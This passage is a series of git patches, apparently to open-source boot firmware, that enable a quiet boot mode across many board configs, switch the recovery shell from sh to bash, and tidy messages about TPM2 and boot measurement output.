a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -52,6 +52,8 @@ export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION #export CONFIG_BOOTSCRIPT=/bin/generic-init +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index a7555897c..1a44484ae 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -49,6 +49,8 @@ export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION #export CONFIG_BOOTSCRIPT=/bin/generic-init +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index fe4b0a944..34c4a2d69 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -50,6 +50,8 @@ export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION #export CONFIG_BOOTSCRIPT=/bin/generic-init +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config index 6ea92e2f6..ebb979ade 100644 --- a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config +++ b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config @@ -34,6 +34,8 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config index 5c7a27cd8..6ef119933 100644 --- a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config +++ b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config @@ -34,6 +34,8 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 1c50b4ef6..b5847f990 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -30,6 +30,8 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index c52f16abc..32b3cf2d6 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -29,6 +29,8 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index fcc515152..338c197f2 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -29,6 +29,8 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 6ac128a5c..4e722819e 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -28,6 +28,8 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index f21c3d677..578a03554 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -29,6 +29,8 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index 8b9ec201b..515c7f016 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -30,6 +30,8 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index 5684ebe00..e794e5ab7 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -29,6 +29,8 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index 6098682b9..57ba360cc 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -32,6 +32,8 @@ CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y CONFIG_PRIMARY_KEY_TYPE=ecc +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 46d0a7388..56372362d 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -30,6 +30,8 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 163876e16..72bcf354b 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -30,6 +30,8 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index ffcb94579..4b33a0fbd 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -68,6 +68,8 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 92ab67d40..63a684c99 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -67,6 +67,8 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config index e695df4ff..67bcbcdc8 100644 --- a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -74,6 +74,8 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index 9d4e0e6fd..2882efd2a 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -74,6 +74,8 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config index 35aa57d10..372e24e8b 100644 --- a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -74,6 +74,8 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index 03a711e4f..3a60ce8a6 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -74,6 +74,8 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 4ab33a434..acf929140 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -60,6 +60,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 1293dd2d4..121df8d4e 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -58,6 +58,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 4b64ffefa..f68bd4acb 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -58,6 +58,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 4164db3d7..8427afeeb 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -58,6 +58,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index bdd005aed..1ddc61095 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -60,6 +60,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index b291fa946..5182f7bd0 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -59,6 +59,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index ddb91dbad..183866f14 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -60,6 +60,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index bb691ad71..d8cc66a76 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -59,6 +59,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index b8dc88e4d..32b4c9f6c 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -60,6 +60,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 2bd094ec3..0e23166ee 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -59,6 +59,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 0e8c84202..f8c99c0d4 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -72,6 +72,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index cdd0c8677..261311ab4 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -74,6 +74,8 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 8508baa8e..8d15f4c2c 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -68,6 +68,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index 7ca110578..892d74872 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -71,6 +71,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 78cc64922..04c0dc580 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -62,6 +62,8 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index c254331d9..580b2cded 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -54,6 +54,8 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n From 97121ab86e5af3159a270e15bb932532eac697db Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 19 Dec 2024 13:54:44 -0500 Subject: [PATCH 440/619] global: finalize switch from ash to bash shell, including recovery shell access Signed-off-by: Thierry Laurion --- initrd/{.ash_history => .bash_history} | 0 initrd/etc/functions | 4 ++-- 2 files changed, 2 insertions(+), 2 deletions(-) rename initrd/{.ash_history => .bash_history} (100%) diff --git a/initrd/.ash_history b/initrd/.bash_history similarity index 100% rename from initrd/.ash_history rename to initrd/.bash_history diff --git a/initrd/etc/functions b/initrd/etc/functions index 47ea70ce2..e50d1b318 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -287,9 +287,9 @@ recovery() { sleep 1 if [ -x /bin/setsid ]; then - /bin/setsid -c /bin/sh + /bin/setsid -c /bin/bash else - /bin/sh + /bin/bash fi done } From eb63d4d46ae366986d28bc41bafd5b6f89063c9e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 19 Dec 2024 15:10:54 -0500 Subject: [PATCH 441/619] oem-factory-reset: remove duplicate output 'Checking for USB Security dongle...' Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 1 - 1 file changed, 1 deletion(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index b4e33e6c0..b504ec956 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1202,7 +1202,6 @@ fi # ensure USB Security dongle connected if GPG_GEN_KEY_IN_MEMORY=n or if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD=y if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - echo -e "\nChecking for USB Security dongle...\n" enable_usb if ! gpg --card-status >/dev/null 2>&1; then local_whiptail_error "Can't access USB Security dongle; \nPlease remove and reinsert, then press Enter." From 07218df9cb7f30fe8bec4cc6c7c6153f5ff0c09e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 20 Dec 2024 14:37:00 -0500 Subject: [PATCH 442/619] initrd/bin/kexec-select-boot: clarify that TPM2 primary handle HASH is created upon setting default boot (was not clear) Signed-off-by: Thierry Laurion --- initrd/bin/kexec-select-boot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index e3390ac41..5b85a0b24 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -73,7 +73,7 @@ if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then } else warn "Hash of TPM2 primary key handle does not exist" - warn "Please rebuild the TPM2 primary key handle by settings a default OS to boot." + warn "Please rebuild the TPM2 primary key handle hash by setting a default OS to boot." warn "Select Options-> Boot Options -> Show OS Boot Menu -> -> Make default" #TODO: Simplify/Automatize TPM2 firmware upgrade process. Today: upgrade, reboot, reseal(type TPM owner pass), resign, boot default_failed="y" From e1a263ce3bc620c94b8271779125c3242a911407 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 20 Dec 2024 14:51:19 -0500 Subject: [PATCH 443/619] init: warn user that if CONFIG_QUIET_MODE was enabled in board config at build time but disabled through Configuration Settings applied override, early measurement output got suppressed Also tell user that those early suppressed messages can be seen under /tmp/debug.txt Signed-off-by: Thierry Laurion --- initrd/bin/cbfs-init | 4 ++-- initrd/init | 11 ++++++++++- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/initrd/bin/cbfs-init b/initrd/bin/cbfs-init index a31fc1941..c82e8a239 100755 --- a/initrd/bin/cbfs-init +++ b/initrd/bin/cbfs-init @@ -6,8 +6,8 @@ set -e -o pipefail # This extraction and measurement cannot be suppressed by quiet mode, since # config.user is not yet loaded at this point. # To suppress this output, set CONFIG_QUIET_MODE=y needs be be set in /etc/config -# which is defined at buiid time under board configuration file to be part of initrd.cpio -# This script is called from initrd/init +# which is defined at build time under board configuration file to be part of initrd.cpio +# This script is called from initrd/init so really early in the boot process to put files in place in initramfs TRACE_FUNC diff --git a/initrd/init b/initrd/init index 28e42ca28..1b1044fa3 100755 --- a/initrd/init +++ b/initrd/init @@ -109,12 +109,21 @@ fi if [ "$CONFIG_QUIET_MODE" = "y" ]; then # check origin of quiet mode setting =y: if it is under /etc/config.user then early cbfs-init outputs are not suppressible # if it is under /etc/config then early cbfs-init outputs are suppressible - if ! grep -q 'CONFIG_QUIET_MODE="y"' /etc/config.user 2>/dev/null; then + if grep -q 'CONFIG_QUIET_MODE="y"' /etc/config 2>/dev/null; then echo "Quiet mode enabled: refer to '/tmp/debug.log' for boot measurements traces" >/dev/tty0 else echo "Runtime Quiet mode: refer to '/tmp/debug.log' for additional boot measurements traces past this point" >/dev/tty0 echo "To suppress earlier boot measurements traces, enable CONFIG_QUIET_MODE=y in your board configuration at build time." >/dev/tty0 fi +# If CONFIG_QUIET_MODE enabled in board config but disabled from Config->Configuration Settings +# warn that early boot measurements output was suppressed prior of this point +elif [ "$CONFIG_QUIET_MODE" = 